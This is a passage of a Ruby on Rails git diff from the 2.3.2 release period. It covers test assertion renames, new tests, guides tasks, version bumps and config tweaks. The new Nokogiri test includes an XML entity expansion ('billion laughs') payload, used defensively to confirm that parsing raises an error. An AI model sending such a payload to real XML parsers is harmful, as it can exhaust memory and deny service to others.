--- a/activesupport/test/message_encryptor_test.rb
+++ b/activesupport/test/message_encryptor_test.rb
@@ -33,7 +33,7 @@ class MessageEncryptorTest < Test::Unit::TestCase
private
def assert_not_decrypted(value)
- assert_raises(ActiveSupport::MessageEncryptor::InvalidMessage) do
+ assert_raise(ActiveSupport::MessageEncryptor::InvalidMessage) do
@encryptor.decrypt(value)
end
end
diff --git a/activesupport/test/message_verifier_test.rb b/activesupport/test/message_verifier_test.rb
index 2190308856..57c4ce841e 100644
--- a/activesupport/test/message_verifier_test.rb
+++ b/activesupport/test/message_verifier_test.rb
@@ -18,7 +18,7 @@ class MessageVerifierTest < Test::Unit::TestCase
end
def assert_not_verified(message)
- assert_raises(ActiveSupport::MessageVerifier::InvalidSignature) do
+ assert_raise(ActiveSupport::MessageVerifier::InvalidSignature) do
@verifier.verify(message)
end
end
diff --git a/activesupport/test/multibyte_chars_test.rb b/activesupport/test/multibyte_chars_test.rb
index 067c461837..661b33cc57 100644
--- a/activesupport/test/multibyte_chars_test.rb
+++ b/activesupport/test/multibyte_chars_test.rb
@@ -26,7 +26,7 @@ class MultibyteCharsTest < Test::Unit::TestCase
assert_nothing_raised do
@chars.__method_for_multibyte_testing
end
- assert_raises NoMethodError do
+ assert_raise NoMethodError do
@chars.__unknown_method
end
end
@@ -71,7 +71,7 @@ class MultibyteCharsTest < Test::Unit::TestCase
end
def test_unpack_raises_encoding_error_on_broken_strings
- assert_raises(ActiveSupport::Multibyte::EncodingError) do
+ assert_raise(ActiveSupport::Multibyte::EncodingError) do
@proxy_class.u_unpack(BYTE_STRING)
end
end
@@ -123,7 +123,6 @@ class MultibyteCharsUTF8BehaviourTest < Test::Unit::TestCase
[:rstrip!, :lstrip!, :strip!, :reverse!, :upcase!, :downcase!, :capitalize!].each do |method|
assert_equal @chars.object_id, @chars.send(method).object_id
end
- assert_equal @chars.object_id, @chars.slice!(1).object_id
end
def test_overridden_bang_methods_change_wrapped_string
@@ -133,10 +132,6 @@ class MultibyteCharsUTF8BehaviourTest < Test::Unit::TestCase
proxy.send(method)
assert_not_equal original, proxy.to_s
end
- proxy = chars('Café')
- proxy.slice!(3)
- assert_equal 'é', proxy.to_s
-
proxy = chars('òu')
proxy.capitalize!
assert_equal 'Òu', proxy.to_s
@@ -214,8 +209,8 @@ class MultibyteCharsUTF8BehaviourTest < Test::Unit::TestCase
end
def test_insert_throws_index_error
- assert_raises(IndexError) { @chars.insert(-12, 'わ')}
- assert_raises(IndexError) { @chars.insert(12, 'わ') }
+ assert_raise(IndexError) { @chars.insert(-12, 'わ')}
+ assert_raise(IndexError) { @chars.insert(12, 'わ') }
end
def test_should_know_if_one_includes_the_other
@@ -227,7 +222,7 @@ class MultibyteCharsUTF8BehaviourTest < Test::Unit::TestCase
end
def test_include_raises_type_error_when_nil_is_passed
- assert_raises(TypeError) do
+ assert_raise(TypeError) do
@chars.include?(nil)
end
end
@@ -262,22 +257,22 @@ class MultibyteCharsUTF8BehaviourTest < Test::Unit::TestCase
def test_indexed_insert_should_raise_on_index_overflow
before = @chars.to_s
- assert_raises(IndexError) { @chars[10] = 'a' }
- assert_raises(IndexError) { @chars[10, 4] = 'a' }
- assert_raises(IndexError) { @chars[/ii/] = 'a' }
- assert_raises(IndexError) { @chars[/()/, 10] = 'a' }
+ assert_raise(IndexError) { @chars[10] = 'a' }
+ assert_raise(IndexError) { @chars[10, 4] = 'a' }
+ assert_raise(IndexError) { @chars[/ii/] = 'a' }
+ assert_raise(IndexError) { @chars[/()/, 10] = 'a' }
assert_equal before, @chars
end
def test_indexed_insert_should_raise_on_range_overflow
before = @chars.to_s
- assert_raises(RangeError) { @chars[10..12] = 'a' }
+ assert_raise(RangeError) { @chars[10..12] = 'a' }
assert_equal before, @chars
end
def test_rjust_should_raise_argument_errors_on_bad_arguments
- assert_raises(ArgumentError) { @chars.rjust(10, '') }
- assert_raises(ArgumentError) { @chars.rjust }
+ assert_raise(ArgumentError) { @chars.rjust(10, '') }
+ assert_raise(ArgumentError) { @chars.rjust }
end
def test_rjust_should_count_characters_instead_of_bytes
@@ -294,8 +289,8 @@ class MultibyteCharsUTF8BehaviourTest < Test::Unit::TestCase
end
def test_ljust_should_raise_argument_errors_on_bad_arguments
- assert_raises(ArgumentError) { @chars.ljust(10, '') }
- assert_raises(ArgumentError) { @chars.ljust }
+ assert_raise(ArgumentError) { @chars.ljust(10, '') }
+ assert_raise(ArgumentError) { @chars.ljust }
end
def test_ljust_should_count_characters_instead_of_bytes
@@ -312,8 +307,8 @@ class MultibyteCharsUTF8BehaviourTest < Test::Unit::TestCase
end
def test_center_should_raise_argument_errors_on_bad_arguments
- assert_raises(ArgumentError) { @chars.center(10, '') }
- assert_raises(ArgumentError) { @chars.center }
+ assert_raise(ArgumentError) { @chars.center(10, '') }
+ assert_raise(ArgumentError) { @chars.center }
end
def test_center_should_count_charactes_instead_of_bytes
@@ -391,6 +386,15 @@ class MultibyteCharsUTF8BehaviourTest < Test::Unit::TestCase
assert_equal nil, @chars.slice(7..6)
end
+ def test_slice_bang_returns_sliced_out_substring
+ assert_equal 'にち', @chars.slice!(1..2)
+ end
+
+ def test_slice_bang_removes_the_slice_from_the_receiver
+ @chars.slice!(1..2)
+ assert_equal 'こわ', @chars
+ end
+
def test_slice_should_throw_exceptions_on_invalid_arguments
assert_raise(TypeError) { @chars.slice(2..3, 1) }
assert_raise(TypeError) { @chars.slice(1, 2..3) }
@@ -436,7 +440,7 @@ class MultibyteCharsExtrasTest < Test::Unit::TestCase
if RUBY_VERSION >= '1.9'
def test_tidy_bytes_is_broken_on_1_9_0
- assert_raises(ArgumentError) do
+ assert_raise(ArgumentError) do
assert_equal_codepoints [0xfffd].pack('U'), chars("\xef\xbf\xbd").tidy_bytes
end
end
diff --git a/activesupport/test/ordered_hash_test.rb b/activesupport/test/ordered_hash_test.rb
index fb76ca1ab6..7cd8c8a8f4 100644
--- a/activesupport/test/ordered_hash_test.rb
+++ b/activesupport/test/ordered_hash_test.rb
@@ -4,9 +4,11 @@ class OrderedHashTest < Test::Unit::TestCase
def setup
@keys = %w( blue green red pink orange )
@values = %w( 000099 009900 aa0000 cc0066 cc6633 )
+ @hash = Hash.new
@ordered_hash = ActiveSupport::OrderedHash.new
@keys.each_with_index do |key, index|
+ @hash[key] = @values[index]
@ordered_hash[key] = @values[index]
end
end
@@ -17,7 +19,7 @@ class OrderedHashTest < Test::Unit::TestCase
end
def test_access
- assert @keys.zip(@values).all? { |k, v| @ordered_hash[k] == v }
+ assert @hash.all? { |k, v| @ordered_hash[k] == v }
end
def test_assignment
@@ -45,6 +47,10 @@ class OrderedHashTest < Test::Unit::TestCase
assert_nil @ordered_hash.delete(bad_key)
end
+ def test_to_hash
+ assert_same @ordered_hash, @ordered_hash.to_hash
+ end
+
def test_has_key
assert_equal true, @ordered_hash.has_key?('blue')
assert_equal true, @ordered_hash.key?('blue')
@@ -148,4 +154,8 @@ class OrderedHashTest < Test::Unit::TestCase
@ordered_hash.keys.pop
assert_equal original, @ordered_hash.keys
end
-end \ No newline at end of file
+
+ def test_inspect
+ assert @ordered_hash.inspect.include?(@hash.inspect)
+ end
+end
diff --git a/activesupport/test/string_inquirer_test.rb b/activesupport/test/string_inquirer_test.rb
index dda7850e6b..7f11f667df 100644
--- a/activesupport/test/string_inquirer_test.rb
+++ b/activesupport/test/string_inquirer_test.rb
@@ -10,6 +10,6 @@ class StringInquirerTest < Test::Unit::TestCase
end
def test_missing_question_mark
- assert_raises(NoMethodError) { ActiveSupport::StringInquirer.new("production").production }
+ assert_raise(NoMethodError) { ActiveSupport::StringInquirer.new("production").production }
end
end
diff --git a/activesupport/test/test_test.rb b/activesupport/test/test_test.rb
index 298037e27c..d250b10822 100644
--- a/activesupport/test/test_test.rb
+++ b/activesupport/test/test_test.rb
@@ -66,7 +66,8 @@ class AssertDifferenceTest < ActiveSupport::TestCase
end
fail 'should not get to here'
rescue Exception => e
- assert_equal "<3> expected but was\n<2>.", e.message
+ assert_match(/didn't change by/, e.message)
+ assert_match(/expected but was/, e.message)
end
def test_array_of_expressions_identify_failure_when_message_provided
@@ -75,7 +76,9 @@ class AssertDifferenceTest < ActiveSupport::TestCase
end
fail 'should not get to here'
rescue Exception => e
- assert_equal "something went wrong.\n<3> expected but was\n<2>.", e.message
+ assert_match(/something went wrong/, e.message)
+ assert_match(/didn't change by/, e.message)
+ assert_match(/expected but was/, e.message)
end
else
def default_test; end
diff --git a/activesupport/test/time_zone_test.rb b/activesupport/test/time_zone_test.rb
index f80575cfd4..b01f62460a 100644
--- a/activesupport/test/time_zone_test.rb
+++ b/activesupport/test/time_zone_test.rb
@@ -2,34 +2,26 @@ require 'abstract_unit'
class TimeZoneTest < Test::Unit::TestCase
def test_utc_to_local
- silence_warnings do # silence warnings raised by tzinfo gem
- zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
- assert_equal Time.utc(1999, 12, 31, 19), zone.utc_to_local(Time.utc(2000, 1)) # standard offset -0500
- assert_equal Time.utc(2000, 6, 30, 20), zone.utc_to_local(Time.utc(2000, 7)) # dst offset -0400
- end
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ assert_equal Time.utc(1999, 12, 31, 19), zone.utc_to_local(Time.utc(2000, 1)) # standard offset -0500
+ assert_equal Time.utc(2000, 6, 30, 20), zone.utc_to_local(Time.utc(2000, 7)) # dst offset -0400
end
def test_local_to_utc
- silence_warnings do # silence warnings raised by tzinfo gem
- zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
- assert_equal Time.utc(2000, 1, 1, 5), zone.local_to_utc(Time.utc(2000, 1)) # standard offset -0500
- assert_equal Time.utc(2000, 7, 1, 4), zone.local_to_utc(Time.utc(2000, 7)) # dst offset -0400
- end
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ assert_equal Time.utc(2000, 1, 1, 5), zone.local_to_utc(Time.utc(2000, 1)) # standard offset -0500
+ assert_equal Time.utc(2000, 7, 1, 4), zone.local_to_utc(Time.utc(2000, 7)) # dst offset -0400
end
def test_period_for_local
- silence_warnings do # silence warnings raised by tzinfo gem
- zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
- assert_instance_of TZInfo::TimezonePeriod, zone.period_for_local(Time.utc(2000))
- end
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ assert_instance_of TZInfo::TimezonePeriod, zone.period_for_local(Time.utc(2000))
end
ActiveSupport::TimeZone::MAPPING.keys.each do |name|
define_method("test_map_#{name.downcase.gsub(/[^a-z]/, '_')}_to_tzinfo") do
- silence_warnings do # silence warnings raised by tzinfo gem
- zone = ActiveSupport::TimeZone[name]
- assert zone.tzinfo.respond_to?(:period_for_local)
- end
+ zone = ActiveSupport::TimeZone[name]
+ assert zone.tzinfo.respond_to?(:period_for_local)
end
end
@@ -44,16 +36,12 @@ class TimeZoneTest < Test::Unit::TestCase
ActiveSupport::TimeZone.all.each do |zone|
name = zone.name.downcase.gsub(/[^a-z]/, '_')
define_method("test_from_#{name}_to_map") do
- silence_warnings do # silence warnings raised by tzinfo gem
- assert_instance_of ActiveSupport::TimeZone, ActiveSupport::TimeZone[zone.name]
- end
+ assert_instance_of ActiveSupport::TimeZone, ActiveSupport::TimeZone[zone.name]
end
define_method("test_utc_offset_for_#{name}") do
- silence_warnings do # silence warnings raised by tzinfo gem
- period = zone.tzinfo.current_period
- assert_equal period.utc_offset, zone.utc_offset
- end
+ period = zone.tzinfo.current_period
+ assert_equal period.utc_offset, zone.utc_offset
end
end
@@ -98,19 +86,15 @@ class TimeZoneTest < Test::Unit::TestCase
end
def test_local
- silence_warnings do # silence warnings raised by tzinfo gem
- time = ActiveSupport::TimeZone["Hawaii"].local(2007, 2, 5, 15, 30, 45)
- assert_equal Time.utc(2007, 2, 5, 15, 30, 45), time.time
- assert_equal ActiveSupport::TimeZone["Hawaii"], time.time_zone
- end
+ time = ActiveSupport::TimeZone["Hawaii"].local(2007, 2, 5, 15, 30, 45)
+ assert_equal Time.utc(2007, 2, 5, 15, 30, 45), time.time
+ assert_equal ActiveSupport::TimeZone["Hawaii"], time.time_zone
end
def test_local_with_old_date
- silence_warnings do # silence warnings raised by tzinfo gem
- time = ActiveSupport::TimeZone["Hawaii"].local(1850, 2, 5, 15, 30, 45)
- assert_equal [45,30,15,5,2,1850], time.to_a[0,6]
- assert_equal ActiveSupport::TimeZone["Hawaii"], time.time_zone
- end
+ time = ActiveSupport::TimeZone["Hawaii"].local(1850, 2, 5, 15, 30, 45)
+ assert_equal [45,30,15,5,2,1850], time.to_a[0,6]
+ assert_equal ActiveSupport::TimeZone["Hawaii"], time.time_zone
end
def test_local_enforces_spring_dst_rules
@@ -179,29 +163,23 @@ class TimeZoneTest < Test::Unit::TestCase
end
def test_parse_with_old_date
- silence_warnings do # silence warnings raised by tzinfo gem
- zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
- twz = zone.parse('1850-12-31 19:00:00')
- assert_equal [0,0,19,31,12,1850], twz.to_a[0,6]
- assert_equal zone, twz.time_zone
- end
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ twz = zone.parse('1850-12-31 19:00:00')
+ assert_equal [0,0,19,31,12,1850], twz.to_a[0,6]
+ assert_equal zone, twz.time_zone
end
def test_parse_far_future_date_with_time_zone_offset_in_string
- silence_warnings do # silence warnings raised by tzinfo gem
- zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
- twz = zone.parse('2050-12-31 19:00:00 -10:00') # i.e., 2050-01-01 05:00:00 UTC
- assert_equal [0,0,0,1,1,2051], twz.to_a[0,6]
- assert_equal zone, twz.time_zone
- end
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ twz = zone.parse('2050-12-31 19:00:00 -10:00') # i.e., 2050-01-01 05:00:00 UTC
+ assert_equal [0,0,0,1,1,2051], twz.to_a[0,6]
+ assert_equal zone, twz.time_zone
end
def test_parse_returns_nil_when_string_without_date_information_is_passed_in
- silence_warnings do # silence warnings raised by tzinfo gem
- zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
- assert_nil zone.parse('foobar')
- assert_nil zone.parse(' ')
- end
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ assert_nil zone.parse('foobar')
+ assert_nil zone.parse(' ')
end
def test_parse_with_incomplete_date
@@ -212,12 +190,10 @@ class TimeZoneTest < Test::Unit::TestCase
end
def test_utc_offset_lazy_loaded_from_tzinfo_when_not_passed_in_to_initialize
- silence_warnings do # silence warnings raised by tzinfo gem
- tzinfo = TZInfo::Timezone.get('America/New_York')
- zone = ActiveSupport::TimeZone.create(tzinfo.name, nil, tzinfo)
- assert_equal nil, zone.instance_variable_get('@utc_offset')
- assert_equal(-18_000, zone.utc_offset)
- end
+ tzinfo = TZInfo::Timezone.get('America/New_York')
+ zone = ActiveSupport::TimeZone.create(tzinfo.name, nil, tzinfo)
+ assert_equal nil, zone.instance_variable_get('@utc_offset')
+ assert_equal(-18_000, zone.utc_offset)
end
def test_formatted_offset_positive
@@ -268,7 +244,7 @@ class TimeZoneTest < Test::Unit::TestCase
assert_nil ActiveSupport::TimeZone["bogus"]
assert_instance_of ActiveSupport::TimeZone, ActiveSupport::TimeZone["Central Time (US & Canada)"]
assert_instance_of ActiveSupport::TimeZone, ActiveSupport::TimeZone[8]
- assert_raises(ArgumentError) { ActiveSupport::TimeZone[false] }
+ assert_raise(ArgumentError) { ActiveSupport::TimeZone[false] }
end
def test_new
diff --git a/activesupport/test/xml_mini/nokogiri_engine_test.rb b/activesupport/test/xml_mini/nokogiri_engine_test.rb
new file mode 100644
index 0000000000..e5174a0b57
--- /dev/null
+++ b/activesupport/test/xml_mini/nokogiri_engine_test.rb
@@ -0,0 +1,157 @@
+require 'abstract_unit'
+require 'active_support/xml_mini'
+
+begin
+ gem 'nokogiri', '>= 1.1.1'
+rescue Gem::LoadError
+ # Skip nokogiri tests
+else
+
+require 'nokogiri'
+
+class NokogiriEngineTest < Test::Unit::TestCase
+ include ActiveSupport
+
+ def setup
+ @default_backend = XmlMini.backend
+ XmlMini.backend = 'Nokogiri'
+ end
+
+ def teardown
+ XmlMini.backend = @default_backend
+ end
+
+ def test_file_from_xml
+ hash = Hash.from_xml(<<-eoxml)
+ <blog>
+ <logo type="file" name="logo.png" content_type="image/png">
+ </logo>
+ </blog>
+ eoxml
+ assert hash.has_key?('blog')
+ assert hash['blog'].has_key?('logo')
+
+ file = hash['blog']['logo']
+ assert_equal 'logo.png', file.original_filename
+ assert_equal 'image/png', file.content_type
+ end
+
+ def test_exception_thrown_on_expansion_attack
+ assert_raise Nokogiri::XML::SyntaxError do
+ attack_xml = <<-EOT
+ <?xml version="1.0" encoding="UTF-8"?>
+ <!DOCTYPE member [
+ <!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
+ <!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
+ <!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
+ <!ENTITY d "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
+ <!ENTITY e "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
+ <!ENTITY f "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
+ <!ENTITY g "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
+ ]>
+ <member>
+ &a;
+ </member>
+ EOT
+ Hash.from_xml(attack_xml)
+ end
+ end
+
+ def test_setting_nokogiri_as_backend
+ XmlMini.backend = 'Nokogiri'
+ assert_equal XmlMini_Nokogiri, XmlMini.backend
+ end
+
+ def test_blank_returns_empty_hash
+ assert_equal({}, XmlMini.parse(nil))
+ assert_equal({}, XmlMini.parse(''))
+ end
+
+ def test_array_type_makes_an_array
+ assert_equal_rexml(<<-eoxml)
+ <blog>
+ <posts type="array">
+ <post>a post</post>
+ <post>another post</post>
+ </posts>
+ </blog>
+ eoxml
+ end
+
+ def test_one_node_document_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products/>
+ eoxml
+ end
+
+ def test_one_node_with_attributes_document_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products foo="bar"/>
+ eoxml
+ end
+
+ def test_products_node_with_book_node_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products>
+ <book name="awesome" id="12345" />
+ </products>
+ eoxml
+ end
+
+ def test_products_node_with_two_book_nodes_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products>
+ <book name="awesome" id="12345" />
+ <book name="america" id="67890" />
+ </products>
+ eoxml
+ end
+
+ def test_single_node_with_content_as_hash
+ assert_equal_rexml(<<-eoxml)
+ <products>
+ hello world
+ </products>
+ eoxml
+ end
+
+ def test_children_with_children
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products>
+ <book name="america" id="67890" />
+ </products>
+ </root>
+ eoxml
+ end
+
+ def test_children_with_text
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ <products>
+ hello everyone
+ </products>
+ </root>
+ eoxml
+ end
+
+ def test_children_with_non_adjacent_text
+ assert_equal_rexml(<<-eoxml)
+ <root>
+ good
+ <products>
+ hello everyone
+ </products>
+ morning
+ </root>
+ eoxml
+ end
+
+ private
+ def assert_equal_rexml(xml)
+ hash = XmlMini.with_backend('REXML') { XmlMini.parse(xml) }
+ assert_equal(hash, XmlMini.parse(xml))
+ end
+end
+
+end
diff --git a/activesupport/test/xml_mini/rexml_engine_test.rb b/activesupport/test/xml_mini/rexml_engine_test.rb
new file mode 100644
index 0000000000..a412d8ca05
--- /dev/null
+++ b/activesupport/test/xml_mini/rexml_engine_test.rb
@@ -0,0 +1,15 @@
+require 'abstract_unit'
+require 'active_support/xml_mini'
+
+class REXMLEngineTest < Test::Unit::TestCase
+ include ActiveSupport
+
+ def test_default_is_rexml
+ assert_equal XmlMini_REXML, XmlMini.backend
+ end
+
+ def test_set_rexml_as_backend
+ XmlMini.backend = 'REXML'
+ assert_equal XmlMini_REXML, XmlMini.backend
+ end
+end
diff --git a/ci/ci_build.rb b/ci/ci_build.rb
index 010f78ba09..0b9bd3d278 100755
--- a/ci/ci_build.rb
+++ b/ci/ci_build.rb
@@ -98,9 +98,9 @@ puts "[CruiseControl] #{`mysql --version`}"
puts "[CruiseControl] #{`pg_config --version`}"
puts "[CruiseControl] SQLite2: #{`sqlite -version`}"
puts "[CruiseControl] SQLite3: #{`sqlite3 -version`}"
-`gem env`.each {|line| print "[CruiseControl] #{line}"}
+`gem env`.each_line {|line| print "[CruiseControl] #{line}"}
puts "[CruiseControl] Local gems:"
-`gem list`.each {|line| print "[CruiseControl] #{line}"}
+`gem list`.each_line {|line| print "[CruiseControl] #{line}"}
failures = build_results.select { |key, value| value == false }
diff --git a/ci/geminstaller.yml b/ci/geminstaller.yml
index d11bf04485..33f1e81179 100644
--- a/ci/geminstaller.yml
+++ b/ci/geminstaller.yml
@@ -7,7 +7,7 @@ gems:
- name: memcache-client
version: >= 1.5.0
- name: mocha
- version: >= 0.9.4
+ version: >= 0.9.5
- name: mysql
#version: >= 2.7
version: = 2.7
diff --git a/railties/CHANGELOG b/railties/CHANGELOG
index 5b932ac197..98e3a861e8 100644
--- a/railties/CHANGELOG
+++ b/railties/CHANGELOG
@@ -1,4 +1,10 @@
-*2.3.0 [Edge]*
+*2.3.2 [Final] (March 15, 2009)*
+
+* Remove outdated script/plugin options [Pratik Naik]
+
+* Allow metal to live in plugins #2045 [Matthew Rudy]
+
+* Added metal [Josh Peek]
* Remove script/performance/request in favour of the performance integration tests. [Pratik Naik]
diff --git a/railties/Rakefile b/railties/Rakefile
index be0f449efc..a9adbda0b5 100644
--- a/railties/Rakefile
+++ b/railties/Rakefile
@@ -28,7 +28,8 @@ task :default => :test
## we can see the failures
task :test do
Dir['test/**/*_test.rb'].all? do |file|
- system("ruby -Itest #{file}")
+ ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME'))
+ system(ruby, '-Itest', file)
end or raise "Failures"
end
@@ -244,6 +245,12 @@ def copy_with_rewritten_ruby_path(src_file, dest_file)
end
end
+desc 'Generate guides (for authors), use ONLY=foo to process just "foo.textile"'
+task :guides do
+ ENV["WARN_BROKEN_LINKS"] = "1" # authors can't disable this
+ ruby "guides/rails_guides.rb"
+end
+
# Generate documentation ------------------------------------------------------------------
@@ -272,70 +279,6 @@ Rake::RDocTask.new { |rdoc|
rdoc.rdoc_files.include('lib/commands/**/*.rb')
}
-desc "Generate guides for the framework. Use ONLY='migrations i18n.txt' option to build just specific ones."
-task :guides do
- require 'mizuho/generator'
-
- source = "doc/guides/source/"
- html = "doc/guides/html/"
- FileUtils.rm_r(html) if File.directory?(html)
- FileUtils.mkdir(html)
-
- template = File.expand_path("doc/guides/source/templates/guides.html.erb")
- asciidoc_conf = 'doc/guides/asciidoc.conf'
-
- ignore = ['..', 'icons', 'images', 'templates', 'stylesheets']
- ignore << 'active_record_basics.txt'
-
- indexless = ['index.txt', 'authors.txt']
-
- # Traverse all entries in doc/guides/source/ or only those specified in ONLY env variable
- entries = Dir.entries(source)
- if ENV['ONLY']
- only = ENV['ONLY'].split(' ')
- unless only.empty?
- entries = entries.select do |e|
- only.include?(e) || only.include?(e.sub(/\.txt$/, ''))
- end
- end
- end
-
- entries.each do |entry|
- next if ignore.include?(entry)
-
- if File.directory?(File.join(source, entry))
- # If the current entry is a directory, then we will want to compile
- # the 'index.txt' file inside this directory.
- if entry == '.'
- input = File.join(source, 'index.txt')
- output = File.join(html, "index.html")
- else
- input = File.join(source, entry, 'index.txt')
- output = File.join(html, "#{entry}.html")
- end
- else
- # If the current entry is a file, then we will want to compile this file.
- input = File.join(source, entry)
- output = File.join(html, entry).sub(/\.txt$/, '.html')
- end
-
- begin
- puts "GENERATING => #{output}"
- ENV['MANUALSONRAILS_TOC'] = 'no' if indexless.include?(entry)
- Mizuho::Generator.new(input, :output => output, :template => template, :conf_file => asciidoc_conf).start
- rescue Mizuho::GenerationError
- STDERR.puts "*** ERROR"
- exit 2
- ensure
- ENV.delete('MANUALSONRAILS_TOC')
- end
- end
-
- # Copy images and css files to html directory. These dirs are in .gitigore and shouldn't be source controlled.
- FileUtils.cp_r File.join(source, 'images'), File.join(html, 'images')
- FileUtils.cp_r File.join(source, 'stylesheets'), File.join(html, 'stylesheets')
-end
-
# Generate GEM ----------------------------------------------------------------------------
task :copy_gem_environment do
@@ -369,11 +312,11 @@ spec = Gem::Specification.new do |s|
EOF
s.add_dependency('rake', '>= 0.8.3')
- s.add_dependency('activesupport', '= 2.3.0' + PKG_BUILD)
- s.add_dependency('activerecord', '= 2.3.0' + PKG_BUILD)
- s.add_dependency('actionpack', '= 2.3.0' + PKG_BUILD)
- s.add_dependency('actionmailer', '= 2.3.0' + PKG_BUILD)
- s.add_dependency('activeresource', '= 2.3.0' + PKG_BUILD)
+ s.add_dependency('activesupport', '= 2.3.2' + PKG_BUILD)
+ s.add_dependency('activerecord', '= 2.3.2' + PKG_BUILD)
+ s.add_dependency('actionpack', '= 2.3.2' + PKG_BUILD)
+ s.add_dependency('actionmailer', '= 2.3.2' + PKG_BUILD)
+ s.add_dependency('activeresource', '= 2.3.2' + PKG_BUILD)
s.rdoc_options << '--exclude' << '.'
s.has_rdoc = false
@@ -402,9 +345,12 @@ task :pgem => [:gem] do
`ssh gems.rubyonrails.org '/u/sites/gems/gemupdate.sh'`
end
-desc "Publish the API documentation"
-task :pdoc => :rdoc do
- # railties API isn't separately published
+desc "Publish the guides"
+task :pguides => :guides do
+ mkdir_p 'pkg'
+ `tar -czf pkg/guides.gz guides/output`
+ Rake::SshFilePublisher.new("web.rubyonrails.org", "/u/sites/guides.rubyonrails.org/public", "pkg", "guides.gz").upload
+ `ssh web.rubyonrails.org 'cd /u/sites/guides.rubyonrails.org/public/ && tar -xvzf guides.gz && mv guides/output/* . && rm -rf guides*'`
end
desc "Publish the release files to RubyForge."
diff --git a/railties/builtin/rails_info/rails/info.rb b/railties/builtin/rails_info/rails/info.rb
index 7b6f09ac69..0dd1c090c1 100644
--- a/railties/builtin/rails_info/rails/info.rb
+++ b/railties/builtin/rails_info/rails/info.rb
@@ -56,7 +56,12 @@ module Rails
returning table = '<table>' do
properties.each do |(name, value)|
table << %(<tr><td class="name">#{CGI.escapeHTML(name.to_s)}</td>)
- table << %(<td class="value">#{CGI.escapeHTML(value.to_s)}</td></tr>)
+ formatted_value = if value.kind_of?(Array)
+ "<ul>" + value.map { |v| "<li>#{CGI.escapeHTML(v.to_s)}</li>" }.join + "</ul>"
+ else
+ CGI.escapeHTML(value.to_s)
+ end
+ table << %(<td class="value">#{formatted_value}</td></tr>)
end
table << '</table>'
end
@@ -85,6 +90,10 @@ module Rails
Gem::RubyGemsVersion
end
+ property 'Rack version' do
+ ::Rack.release
+ end
+
# The Rails version.
property 'Rails version' do
Rails::VERSION::STRING
@@ -98,6 +107,10 @@ module Rails
end
end
+ property 'Middleware' do
+ ActionController::Dispatcher.middleware.active.map(&:inspect)
+ end
+
# The Rails Git revision, if it's checked out into vendor/rails.
property 'Edge Rails revision' do
edge_rails_revision
diff --git a/railties/builtin/rails_info/rails/info_controller.rb b/railties/builtin/rails_info/rails/info_controller.rb
index 05745d606d..47e87c5bf5 100644
--- a/railties/builtin/rails_info/rails/info_controller.rb
+++ b/railties/builtin/rails_info/rails/info_controller.rb
@@ -3,7 +3,7 @@ class Rails::InfoController < ActionController::Base
if consider_all_requests_local || local_request?
render :inline => Rails::Info.to_html
else
- render :text => '<p>For security purposes, this information is only available to local requests.</p>', :status => 500
+ render :text => '<p>For security purposes, this information is only available to local requests.</p>', :status => :forbidden
end
end
end
diff --git a/railties/configs/databases/mysql.yml b/railties/configs/databases/mysql.yml
index a4406e4923..1a14bfb332 100644
--- a/railties/configs/databases/mysql.yml
+++ b/railties/configs/databases/mysql.yml
@@ -17,6 +17,7 @@
development:
adapter: mysql
encoding: utf8
+ reconnect: false
database: <%= app_name %>_development
pool: 5
username: root
@@ -33,6 +34,7 @@ development:
test:
adapter: mysql
encoding: utf8
+ reconnect: false
database: <%= app_name %>_test
pool: 5
username: root
@@ -46,6 +48,7 @@ test:
production:
adapter: mysql
encoding: utf8
+ reconnect: false
database: <%= app_name %>_production
pool: 5
username: root
diff --git a/railties/configs/initializers/backtrace_silencers.rb b/railties/configs/initializers/backtrace_silencers.rb
index c2169ed01c..839d4cde19 100644
--- a/railties/configs/initializers/backtrace_silencers.rb
+++ b/railties/configs/initializers/backtrace_silencers.rb
@@ -3,5 +3,5 @@
# You can add backtrace silencers for libraries that you're using but don't wish to see in your backtraces.
# Rails.backtrace_cleaner.add_silencer { |line| line =~ /my_noisy_library/ }
-# You can also remove all the silencers if you're trying do debug a problem that might steem from framework code.
+# You can also remove all the silencers if you're trying to debug a problem that might stem from framework code.
# Rails.backtrace_cleaner.remove_silencers! \ No newline at end of file
diff --git a/railties/doc/guides/asciidoc.conf b/railties/doc/guides/asciidoc.conf
deleted file mode 100644
index f8e0c0a32c..0000000000
--- a/railties/doc/guides/asciidoc.conf
+++ /dev/null
@@ -1,26 +0,0 @@
-# Asciidoc substitutes some characters by default, those are called
-# "replacements" in the docs. For example => becomes a unicode arrow.
-#
-# We override replacements to allow copy & paste of source code.
-
-[replacements]
-
-# Ellipsis
-(?<!\\)\.\.\.=...
-\\\.\.\.=...
-
-# -> right arrow
-(?<!\\)-&gt;==-&gt;
-\\-&gt;=-&gt;
-
-# => right double arrow
-(?<!\\)\=&gt;==&gt;
-\\\=&gt;==&gt;
-
-# <- left arrow
-(?<!\\)&lt;-=&lt;-
-\\&lt;-=&lt;-
-
-# <= left double arrow
